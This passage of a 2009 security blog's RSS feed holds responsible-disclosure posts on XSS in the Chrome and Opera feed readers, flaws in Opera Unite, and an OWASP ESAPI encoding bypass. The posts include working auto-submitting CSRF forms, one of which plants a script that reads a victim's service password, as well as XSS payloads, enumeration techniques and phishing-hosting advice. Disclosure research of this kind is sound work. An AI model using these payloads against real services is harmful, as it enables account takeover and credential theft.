<li>Similar to Scenario 1, but exploit can be used for complete control over feeds in the Opera browser.</li>
</ol>
</ol>
<p>V. PROOF OF CONCEPT<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<ol>
<li>Exploit Scenario 1 [Testcases - 18 XSS for Chrome, 38 XSS for Opera] &#8211;</li>
<ol>
<li>Chrome: <a href="http://securethoughts.com/security/rssatomxss/googlechromexss.atom">http://securethoughts.com/security/rssatomxss/googlechromexss.atom</a> [or <a href="http://securethoughts.com/security/rssatomxss/googlechromexss.rss">.rss</a>]</li>
<li>Opera: <a href="http://securethoughts.com/security/rssatomxss/opera10xss.atom">http://securethoughts.com/security/rssatomxss/opera10xss.atom</a> [or <a href="http://securethoughts.com/security/rssatomxss/opera10xss.rss">.rss</a>]</li>
</ol>
<li>Exploit Scenario 2 &#8211;</li>
<ol>
<li>Include all in Scenario 1</li>
<li>Opera: <a href="http://securethoughts.com/security/rssatomxss/opera10xss.atom.tx">http://securethoughts.com/security/rssatomxss/opera10xss.atom.tx</a> [Any arbitary file extension at. E.g .tx, .tm]</li>
<li>Chrome: <a href="http://securethoughts.com/security/rssatomxss/googlechromexss.atom.tx">http://securethoughts.com/security/rssatomxss/googlechromexss.atom.tx</a> [Any arbitary file extension at. E.g .tx, .tm]</li>
</ol>
<li>Exploit Scenario 3 &#8211;</li>
<ol>
<li>Details and PoC will be released after patch is provided by Opera Security Team in next minor release.
        </ol>
</ol>
<p>For research purposes, you can try out the PoCs on these virtualized (and vulnerable) versions of various browsers, without installing any bits on your computer [<a href="http://adblockplus.org/blog/downloading-xenocode-s-sandboxed-applications">5</a>].</p>
<p>VI. FIX DESCRIPTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<ol>
<li><strong>Chrome:</strong> ATOM/RSS feed rendering is completely disabled by forcing a text/plain MIME type [<a href="http://code.google.com/p/chromium/issues/detail?id=21238">6</a>]. If you need feed rendering, a good alternative is FeedBurner which protects from any script execution attacks by blocking them at time of the feed registration.</li>
<li><strong>Opera:</strong> Scenarios (1) and (2) will not be fixed, as it is a design feature. Scenario (3) will be patched in next minor release.</li>
</ol>
<p><strong>Google Chrome before fix &#8211;</strong><br />

<a href="http://securethoughts.com/wp-content/gallery/security/ScreenShot018.jpg" title="" class="shutterset_singlepic29" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/29__500x375_ScreenShot018.jpg" alt="Google Chrome - 18 XSS issues in ATOM/RSS Reader" title="Google Chrome - 18 XSS issues in ATOM/RSS Reader" />
</a>
</br></p>
<p><strong>Google Chrome after fix &#8211;</strong><br />

<a href="http://securethoughts.com/wp-content/gallery/security/ScreenShot019.jpg" title="" class="shutterset_singlepic30" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/30__500x375_ScreenShot019.jpg" alt="Google Chrome after fix - Stops rendering dynamic content" title="Google Chrome after fix - Stops rendering dynamic content" />
</a>
<br/></p>
<p><strong>Opera before fix &#8211;</strong><br />

<a href="http://securethoughts.com/wp-content/gallery/security/ScreenShot017.jpg" title="" class="shutterset_singlepic28" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/28__500x375_ScreenShot017.jpg" alt="Opera - 38 XSS issues in ATOM/RSS Reader" title="Opera - 38 XSS issues in ATOM/RSS Reader" />
</a>
<br/></p>
<p><strong>Opera After Fix &#8211;</strong><br />
Still the same. Only Scenario (3) will be fixed.</p>
<p>VII. SOLUTION<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong>Chrome:</strong> Upgrade to latest version of Google Chrome (v3.0.195.21 or higher). If you remain connected to the internet, this should be automatic.<br />
<strong>Opera:</strong> Wait for upcoming patch for Scenario (3) in next minor release (non-alpha/beta)  of Opera 10 [Opera 9 users need to upgrade]. However, you will still continue to be vulnerable to script execution.</p>
<p>VIII. REFERENCES<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
1. Attack Delivery TestSuite &#8211; James Holderness<br />
<a href="http://intertwingly.net/blog/2006/08/09/Attack-Delivery-TestSuite">http://intertwingly.net/blog/2006/08/09/Attack-Delivery-TestSuite</a></p>
<p>2. Feed Security &#8211; James M. Snell<br />
<a href="http://www.snellspace.com/wp/?p=448">http://www.snellspace.com/wp/?p=448</a></p>
<p>3. CSS History Hack &#8211; Jeremiah Grossman<br />
<a href="http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html">http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html</a></p>
<p>4. Browser Port Scanning without Javascript &#8211; Jeremiah Grossman<br />
<a href="http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html">http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html</a></p>
<p>5. Downloading Xenocode&#8217;s &#8220;sandboxed&#8221; applications &#8211; Wladimir Palant<br />
<a href="http://adblockplus.org/blog/downloading-xenocode-s-sandboxed-applications">http://adblockplus.org/blog/downloading-xenocode-s-sandboxed-applications</a></p>
<p>6. Google Chrome Fix Details<br />
<a href="http://code.google.com/p/chromium/issues/detail?id=21238">http://code.google.com/p/chromium/issues/detail?id=21238</a></p>
<p>IX. CREDITS<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
This vulnerability is discovered by<br />
<strong>Inferno</strong> (inferno {at} securethoughts {dot} com)</p>
<p>X. DISCLOSURE TIMELINE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Sep 7, 2009 12:09 PM: Vulnerability reported to Google and Opera Security Teams.<br />
Sep 7, 2009 12:10 PM: Automated Response from Google Security Team.<br />
Sep 7, 2009 03:49 PM: First Status update provided by Google Security Team. Quick response for a Holiday.<br />
Sep 8, 2009 01:09 AM: First Status update provided by Opera Security Team. Vulnerability concluded as design feature.<br />
Sep 8, 2009 03:28 PM: Vulnerability confirmed by Google Chrome Security Team. Patch timelines provided.<br />
Sep 9, 2009 07:39 AM: Second Status update provided by Opera Security Team. Asked for exploit possibility for certain scenarios.<br />
Sep 10, 2009 01:33 AM: Third Status update provided by Opera Security Team. Vulnerability confirmed for new provided testcases.<br />
Sep 15, 2009 01:31 AM: Final Status update provided by Opera Security Team. Scenario (3) will be fixed, while Scenarios (1), (2) will not be.<br />
Sep 15, 2009 03:04 PM: Patch released by Google Security Team in v3.0.195.21.<br />
Sep XX, 2009 XX:XX XX: Patch planned by Opera Security Team for next minor release.</p>
<p>I would like to thank <a href="http://scarybeastsecurity.blogspot.com"><strong>Chris Evans</strong></a> from <a href="http://www.google.com/corporate/security.html">Google Chrome Security Team</a> and <a href="http:///my.opera.com/Sigbjorn"><strong>Sigbjørn Vik</strong></a> from <a href="http://www.opera.com/security/">Opera Security Team</a> for their prompt responses, engaging in insightful discussions and getting the fix ready in a timely manner. It was a pleasure working with them.</p>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/c4TxsUuTHl0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader-with-script-execution-and-more/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader-with-script-execution-and-more/</feedburner:origLink></item>
		<item>
		<title>Pwning Opera Unite with Inferno’s Eleven</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/3EXqYJS3_lo/</link>
		<comments>http://securethoughts.com/2009/08/pwning-opera-unite-with-infernos-eleven/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 06:24:07 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Auth(entication/orization)]]></category>
		<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Brute Force]]></category>
		<category><![CDATA[CSRF]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Information Gathering]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[Clickjacking]]></category>
		<category><![CDATA[Cross Site Request Forgery]]></category>
		<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[Opera Unite]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=783</guid>
		<description><![CDATA[Opera Unite, the upcoming version of the Opera browser has a strong vision to change how we look at the web. For those who are unknown to this radical technology, it extends your browser into a full-blown collaboration suite where you can chat with people, leave notes, share files, play media, host your sites, etc. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://unite.opera.com/"><strong>Opera Unite</strong></a>, the upcoming version of the <a href="http://www.opera.com/">Opera</a> browser has a strong vision to change how we look at the web. For those who are unknown to this radical technology, it extends your browser into a full-blown collaboration suite where you can <a href="http://unite.opera.com/service/download/182/">chat with people</a>, <a href="http://unite.opera.com/service/download/142/">leave notes</a>, <a href="http://unite.opera.com/service/download/132/">share files</a>, <a href="http://unite.opera.com/service/download/162/">play media</a>, <a href="http://unite.opera.com/service/download/192/">host your sites</a>, etc. (Wow!!). </p>
<p>Opera Unite comes bundled with a bunch of standard services such as Fridge (Notes), The Lounge (chatroom), etc. It is important to understand that these services have two distinct views. One view is of the <strong>Service Owner</strong>, who installs, customizes and runs these services on his or her computer. The service owner and the computer running these services have associated identifiers. By default, computer name is &#8220;home&#8221;. So, your administrative homepage is http://admin.home.uid.operaunite.com/. Remember that even though the protocol of communication looks like http, it is not. Opera relays all traffic using a proprietary ucp protocol (encrypted) to <a href="http://asd.opera.com/">asd.opera.com</a> and <a href="http://auth.opera.com/">auth.opera.com</a> (no protocol details except <a href="http://dev.opera.com/forums/topic/280057">here</a>). The other view is of the Service Page which is used by your users (friends, customers, etc) to access your selected content. These trusted users can access your services from any browser (not just opera unite) and uses the plain http protocol. The service homepage is http://home.uid.operaunite.com/.</p>
<p>I was fascinated by this idea, so I decided to look at the security aspects of the product (while it was in beta). Here are my findings in no particular priority order (tested on <strong>10.00 Beta 3 Build 1703</strong>). I am including the PoC in their respective sections. Remember to change &#8220;<strong>home</strong>&#8221; with your computerid and &#8220;<strong>infernosec2</strong>&#8221; with your userid. </p>
<p>1. <strong>Enumerating Service Owner Usernames &#8212; </strong>Well, if you want to carry out targeted attacks against a particular user, it is easier to do so by guessing his or her username. Usernames are generally firstname/lastname/firstname.lastname, etc. However, for more generic attacks, Opera Unite makes our task easier by allowing Google to index its user&#8217;s pages (configurable). Here is the output from a simple query &#8211; <a href="http://www.google.com/#hl=en&#038;q=site%3Aoperaunite.com&#038;fp=1&#038;cad=b">site:operaunite.com</a><br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera1.jpg" title="" class="shutterset_singlepic15" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/15__400x400_opera1.jpg" alt="Opera Unite Username Enumeration using Google" title="Opera Unite Username Enumeration using Google" />
</a>
<br/></p>
<p>2. <strong>Enumerating Computer names for a particular Service Owner &#8212; </strong>Once you decide on your target service owner, the next step is to determine which computers belong to him or her. Note that from the search engine, you might only get few computer names and not all since owner might have elected to not index the private ones. However, if you visit the service homepage with any non-existent computer name, then Opera Unite happily discloses all computer names used by that person.<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera2.jpg" title="" class="shutterset_singlepic18" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/18__400x400_opera2.jpg" alt="Opera Unite Computer Names Enumeration" title="Opera Unite Computer Names Enumeration" />
</a>
<br/></p>
<p>3. <strong>Enumerating Service Owner Server IP address and Port number &#8212; </strong>If you are a service owner and is thinking that your identity is masked by Opera Unite Proxy Servers, think again. Opera Unite discloses your IP address and Port number to any user (even unauthenticated) who visits your service pages. I have tested this to work on File Sharing and File Uploader Services. Just do a view-source: on any of those pages.<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera3.jpg" title="" class="shutterset_singlepic19" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/19__400x400_opera3.jpg" alt="Opera Unite Server IP and Port Disclosure" title="Opera Unite Server IP and Port Disclosure" />
</a>
<br/></p>
<p>4. <strong>Hijacking Insecure Communication in Service Pages &#8212; </strong>While Opera Team has taken adequate steps to secure the Service Owner&#8217;s communication with Opera Unite Servers (using proprietary ucp), however, the communication of Service Page users with Opera&#8217;s Server is plain http and there is no choice to use https (like you cannot do https://home.infernosec2.operaunite.com/file_sharing/content/). These users use sensitive credentials to login to your services and need the same kind of security as the service owner. What is more shocking is that the user management system at my.opera.com does not support https. Try visiting <a href="https://my.opera.com/">https://my.opera.com/</a><br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera4.jpg" title="" class="shutterset_singlepic20" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/20__400x400_opera4.jpg" alt="Opera Unite Insecure HTTP Communication" title="Opera Unite Insecure HTTP Communication" />
</a>
<br/></p>
<p>5. <strong>Hosting Phishing Pages and other Malware on Trusted Operaunite.com &#8212; </strong>As an attacker, you can use Opera Unite to serve phishing pages and malware content from your profile. Both file sharing and file uploader services render the service owner content inside the browser, leaving user vulnerable to phishing and other malware attacks. For example, before serving some content, I phish the user to provide his or her opera unite credentials. User might think that the content is coming from trusted operaunite.com and hence has a high probability of falling to this spoof.<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera6.jpg" title="" class="shutterset_singlepic22" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/22__400x400_opera6.jpg" alt="Opera Unite Phishing and Malware Pages Hosting" title="Opera Unite Phishing and Malware Pages Hosting" />
</a>
<br/></p>
<p>6. <strong>CSRF-ing a File Upload from a Trusted User &#8212; </strong> Lets say a trusted user is using your file uploader service, i.e. he or she has provided credentials to access it. At the same time, if that user goes to my evil site, I can make him upload arbitrary files to your computer, thereby breaking the trust you have in that user. If the service owner accidentally clicks on that file, it renders inside the browser (thanks to automatic MIME type detection) and poof your XSS executes. In the example below, I have written code to steal your service access password. Please note that this exploit requires that your trusted user is accessing the service from any browser other than Opera since Opera escapes the filenames properly. This exploit is out for the last 1.5 years, but browser vendors haven&#8217;t felt the need to fix this (still works for IE8, Firefox 3.5.2).</p>
<pre class="brush: html; wrap-lines: true">
&lt;html>
&lt;form method="post" action="http://home.infernosec2.operaunite.com/file_uploader/content/upload" enctype="multipart/form-data">
&lt;textarea name='file"; filename="evil"
Content-Type: text/html; '>
&lt;html>
&lt;script>
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
                if (xhr.status == 200) {
					var pattern= /&lt;[^>]*unite-aclPassword" value="([^>]*)">/i;
					if(pattern.test(xhr.responseText))
					{
						alert("Your acl password is: "+RegExp.$1);
					}
                }
            }
        };

    xhr.open('GET', 'http://admin.home.infernosec2.operaunite.com/file_uploader/admin/', true);
    xhr.send(null);
&lt;/script>
&lt;/html>
&lt;/textarea>
&lt;/form>
&lt;script>
     document.forms[0].submit();
&lt;/script>
&lt;/html>
</pre>
<p>(Combined PoC available here &#8211; <a href="http://securethoughts.com/security/operaunite/attack.html">http://securethoughts.com/security/operaunite/attack.html</a>)<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera9.jpg" title="" class="shutterset_singlepic25" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/25__400x400_opera9.jpg" alt="Opera Unite CSRF ing a file upload on File Uploader" title="Opera Unite CSRF ing a file upload on File Uploader" />
</a>
<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera10.jpg" title="" class="shutterset_singlepic16" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/16__400x400_opera10.jpg" alt="Opera Unite Uploaded File XSS discloses sensitive access password" title="Opera Unite Uploaded File XSS discloses sensitive access password" />
</a>
<br/></p>
<p>7. <strong>CSRF-ing a Note on the Fridge &#8212; </strong>Fridge service is an unauthenticated service that is meant for people to leave notes on your computer. If you turn on this service, an attacker can leave weird derogatory fun notes or just fill the queue (default limit -24) so that noone else can post anything. However, he might not want to do that since his ip etc might be getting logged by Opera Servers. So, the better or more stealthy way is to make other users do it for him. Any user that visits his evil site can be made to automatically post notes to any Opera Unite Profile. This includes the service owner as well who can be forced to post something on his computer <img src='http://securethoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<pre class="brush: html; wrap-lines: true">
&lt;html>
&lt;form method="post" action="http://home.infernosec2.operaunite.com/fridge/">
&lt;input type="text" name="post" value="You are Hacked">
&lt;input type="text" name="author" value="Attacker">
&lt;input type="text" name="email" value="Evil">
&lt;input type="text" name="cancel" value="cancel">
&lt;/form>
&lt;script>
     document.forms[0].submit();
&lt;/script>
&lt;/html>
</pre>
<p>(Combined PoC available here &#8211; <a href="http://securethoughts.com/security/operaunite/attack.html">http://securethoughts.com/security/operaunite/attack.html</a>)<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera8.jpg" title="" class="shutterset_singlepic24" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/24__400x400_opera8.jpg" alt="Opera Unite CSRF ing a note on the Fridge" title="Opera Unite CSRF ing a note on the Fridge" />
</a>
<br/></p>
<p>8. <strong>CSRF-Ing anyuserid to join a chatroom &#8212; </strong> Similar to (6), you can force any trusted user (who is already authenticated to your chatroom with a particular userid) to rejoin with alternate usernames. He or she cannot be forced to post anything (csrf protection), however, this can abused to disrupt any existing conversation. I still have a hard time understanding why anyone wants to allow such functionality ?</p>
<pre class="brush: html; wrap-lines: true">
&lt;html>
&lt;form method="post" action="http://home.infernosec2.operaunite.com/the_lounge/entry">
&lt;input type="text" name="nick" value="anyfakeid">
&lt;/form>
&lt;script>
     document.forms[0].submit();
&lt;/script>
&lt;/html>
</pre>
<p>(Combined PoC available here &#8211; <a href="http://securethoughts.com/security/operaunite/attack.html">http://securethoughts.com/security/operaunite/attack.html</a>)<br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera7.jpg" title="" class="shutterset_singlepic23" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/23__400x400_opera7.jpg" alt="Opera Unite CSRF ing anyfakeid user to join the Lounge" title="Opera Unite CSRF ing anyfakeid user to join the Lounge" />
</a>
<br/></p>
<p>9. <strong>XSS ing the unite-session-id cookie, works for almost all services &#8212; </strong> There is an XSS issue in the unite-session-id cookie, whose value gets echoed in the javascript of http response. I would call this as a low severity issue since this attack of overwriting http headers is only possible to do with older versions of Flash (like 7,8,lower versions of 9) and IE6. Still a bug though <img src='http://securethoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<br/><br />

<a href="http://securethoughts.com/wp-content/gallery/security/opera11.jpg" title="" class="shutterset_singlepic17" >
	<img class="ngg-singlepic" src="http://securethoughts.com/wp-content/gallery/cache/17__400x400_opera11.jpg" alt="Opera Unite XSS ing the unite-session-id cookie using older Flash" title="Opera Unite XSS ing the unite-session-id cookie using older Flash" />
</a>
<br/></p>
<p>10. <strong>Clickjacking any Service Page &#8212; </strong> Opera Team has taken necessary steps to protect the service owner pages from any type of clickjacking exploits. However, they do not provide any protection for the service pages. With the current list of default services and operations allowed from trusted user, I cannot think of interesting exploits. One example can be to clickjack a chatroom user and force him to logout of a conversation. I didn&#8217;t get much time to spend on this. But when more and more people start writing their own opera unite services that allow dynamic user interactions, this type of protection will definitely be required.</p>
<p>11. <strong>Inconsistency in Password Policy for some services &#8212; </strong> Most opera unite services are initialized and protected by a default 8 or 9 digit alphanumeric password. However, the photo service is protected by a default 4 char password, which is easily breakable by brute force (looks like photos are considered less private than files). Also, chatroom is out-of-the-box unauthenticated and even if you enable password protection, it picks up a default password &#8220;default&#8221;. So, your users will have to generate a strong password themselves, which is highly unlikely.</p>
<p><br/><br />
<strong>References :&#8211;</strong></p>
<p>1. Clickjacking &#8211; Jeremiah Grossman and Robert &#8220;RSnake&#8221; Hansen<br />
<a href="http://ha.ckers.org/blog/20081007/clickjacking-details/">http://ha.ckers.org/blog/20081007/clickjacking-details/</a></p>
<p>2. Forging HTTP Request Headers with Flash &#8211; Amit Klein<br />
<a href="http://www.securityfocus.com/archive/1/441014 ">http://www.securityfocus.com/archive/1/441014 </a></p>
<p>3. Exploiting XSS Vulnerabilities on Cookies &#8211; Sirdarckcat<br />
<a href="http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html">http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html</a></p>
<p>4. CSRF-ing File Upload Fields &#8211; Kuza55<br />
<a href="http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html">http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html</a></p>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/3EXqYJS3_lo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/08/pwning-opera-unite-with-infernos-eleven/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/08/pwning-opera-unite-with-infernos-eleven/</feedburner:origLink></item>
		<item>
		<title>Bypassing OWASP ESAPI XSS Protection inside Javascript</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/MVHcLa7ZLRM/</link>
		<comments>http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 08:08:53 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Solutions]]></category>
		<category><![CDATA[WebAppSec]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[esapi]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[owasp]]></category>
		<category><![CDATA[xss prevention cheatsheet]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=722</guid>
		<description><![CDATA[Everyone knows the invaluable XSS cheat sheet maintained by &#8220;RSnake&#8221;. It is all about breaking things and features all the scenarios that can result in XSS. To complement his efforts, there is an excellent XSS prevention cheat sheet created by &#8220;Jeff Williams&#8221; (Founder and CEO, Aspect Security). As far as I have seen, this wiki [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone knows the invaluable <a href="http://ha.ckers.org/xss.html">XSS cheat sheet</a> maintained by <a href="http://ha.ckers.org">&#8220;RSnake&#8221;</a>. It is all about breaking things and features all the scenarios that can result in <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a>. To complement his efforts, there is an excellent <a href="http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet">XSS prevention cheat sheet</a> created by &#8220;Jeff Williams&#8221; (Founder and CEO, <a href="http://www.aspectsecurity.com">Aspect Security</a>). As far as I have seen, this wiki page provides the most comprehensive information on protecting yourself from XSS on the internet. It advises using the <a href="http://www.owasp.org">OWASP</a> <a href="http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API">ESAPI</a> api to mitigate any XSS arising from untrusted user input.</p>
<p>I was evaluating this ESAPI api and the recommendations given on the wiki to see if there are any potential flaws. Any weakness impacts a very large number of users since many developers are using it to strengthen their web applications throughout the world. This is my way of contributing back to the community, but can never match the immense efforts put by Jeff and other OWASP team members in developing this library.</p>
<p>I want to give you a little bit of background before diving into the real vulnerability. The XSS prevention cheat sheet classifies XSS protections by dividing them into broadly four buckets &#8211; HTML Body injection, HTML Attribute injection, Javascript injection and CSS injection. For each of these four buckets, there is an ESAPI function reference you can use for output escaping/encoding.</p>
<blockquote><p>If you allow any untrusted user input into javascript functions document.write() OR eval(), it can still execute the XSS even after you do the scrubbing using the ESAPI encodeForJavaScript() function. The reason being that hex escaped chars are converted back into normal chars at the time of execution of these functions. </p></blockquote>
<p>Here is the proof of concept jsp code:</p>
<pre class="brush: javascript; wrap-lines: true">
&lt;%@page import="org.owasp.esapi.*"%&gt;

&lt;%@page contentType="text/html" pageEncoding="UTF-8"%&gt;
&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
   "http://www.w3.org/TR/html4/loose.dtd"&gt;

&lt;html&gt;
    &lt;head&gt;
        &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
        &lt;title&gt;ESAPI XSS Protection Bypass&lt;/title&gt;
    &lt;/head&gt;
    &lt;body&gt;
        &lt;h1&gt;ESAPI XSS Protection Bypass&lt;/h1&gt;
        &lt;p id="tb1"/&gt;&lt;br&gt;
        &lt;p id="tb2"/&gt;
        &lt;script&gt;
            //in real scenario, these three strings come from request.getParameter or user input
            &lt;%
                String vulstr1 = "-1';alert(0);";
                String vulstr2 = "&lt;img src=x onerror=alert(1)&gt;";
                String vulstr3 = "0,x setter=alert,x=2";
            %&gt;   

            // you can safely use it in places like this
            // Ex. vulstr1 is completely encapsulated in a and alert(0) not executed.
            var a='&lt;%= ESAPI.encoder().encodeForJavaScript(vulstr1) %&gt;';
            alert(a);

            // However, you can bypass protection in places like these
            // Ex. vulstr2 gets written to html and alert(1) executes
            document.write("&lt;%= ESAPI.encoder().encodeForJavaScript(vulstr2) %&gt;");
            // Ex. part of vulstr3 get assigned to u, rest alert(2) executes
            eval("u=&lt;%= ESAPI.encoder().encodeForJavaScript(vulstr3) %&gt;");
        &lt;/script&gt;
    &lt;/body&gt;
&lt;/html&gt;</pre>
<p>Much thanks to <a href="http://jeremiahgrossman.blogspot.com/">Jeremiah Grossman</a> and <a href="http://twitter.com/planetlevel">Jeff Williams</a> for taking the time to review my idea and providing their insights. Jeremiah told me that he has seen such injections from time to time at <a href="http://www.whitehatsec.com">WhiteHat</a> and these do exist in the wild. </p>
<p>Jeff confirmed that some documentation changes will fix this. I agree that no esapi code change is required, because function themselves are not insecure. </p>
<blockquote><p>But, if you are currently using esapi functions inside your javascript code, it is important that you re-review your javascript code and the places where your make calls to esapi functions.</p></blockquote>
<p> If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(&#8220;&lt;script>alert(&#8216;XSS&#8217;)&lt;/script>&#8221;), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and  (space) char and it won&#8217;t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.</p>
<p>Any more suggestions or discussion on fixes is highly welcome.</p>
<img src="http://feeds.feedburner.com/~r/securethoughts/~4/MVHcLa7ZLRM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		<feedburner:origLink>http://securethoughts.com/2009/08/bypassing-owasp-esapi-xss-protection-inside-javascript/</feedburner:origLink></item>
		<item>
		<title>Hijacking Safari 4 Top Sites with Phish Bombs</title>
		<link>http://feedproxy.google.com/~r/securethoughts/~3/-k7V_LMWj_Y/</link>
		<comments>http://securethoughts.com/2009/08/hijacking-safari-4-top-sites-with-phish-bombs/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 23:48:45 +0000</pubDate>
		<dc:creator>Inferno</dc:creator>
				<category><![CDATA[Browsers]]></category>
		<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Safari]]></category>
		<category><![CDATA[Top Sites]]></category>

		<guid isPermaLink="false">http://securethoughts.com/?p=563</guid>
		<description><![CDATA[
Music: Bomfunk MC&#8217;s &#8211; Super Electric
Well, this one is an interesting issue I found while evaluating Safari 4 Beta (v528.16). This is not your usual XSS or CSRF bug which requires a site vulnerability, but a persistent browser backdoor that impacts all Safari 4 users using versions 4.0.2 and below. I was pretty amazed at [...]]]></description>
			<content:encoded><![CDATA[<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/iQuUTz1XAZw&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/iQuUTz1XAZw&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><br />
<em>Music: Bomfunk MC&#8217;s &#8211; Super Electric</em></p>
<p>Well, this one is an interesting issue I found while evaluating Safari 4 Beta (v528.16). This is not your usual XSS or CSRF bug which requires a site vulnerability, but a persistent browser backdoor that impacts all Safari 4 users using versions 4.0.2 and below. I was pretty amazed at some of the new features offered by the latest version of Apple&#8217;s browser, especially the hyped <strong><a href="http://www.apple.com/safari/whats-new.html#topsites">Top Sites</a></strong> and <strong><a href="http://www.apple.com/safari/whats-new.html#coverflow">Cover Flow</a></strong>.  I decided to hack this cool feature. Here is what i found. </p>
<p>=============================================<br />
<strong>SECURETHOUGHTS.COM ADVISORY</strong><br />
- CVE-ID          : CVE-2009-2196<br />
- Release Date  : August 11, 2009<br />
- Discovered by : Inferno<br />
=============================================</p>
<p><strong>I. TITLE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Hijacking Safari 4 Top Sites with Phish Bombs</p>
<p><strong>II. VULNERABLE</strong><br />
